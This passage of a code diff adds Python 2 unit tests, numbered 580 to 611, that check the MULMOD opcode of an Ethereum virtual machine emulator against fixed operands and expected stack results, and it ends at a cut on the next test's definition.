+    def test_MULMOD_580(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_581(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_582(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_583(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_584(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_585(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_586(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_587(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_588(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MULMOD_589(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_590(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_MULMOD_591(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_592(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_MULMOD_593(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_594(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_595(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_596(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_597(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_598(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_599(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_600(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_601(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_602(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_603(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_604(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_MULMOD_605(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_606(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_MULMOD_607(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_608(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_609(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_610(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_611(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_612(self):
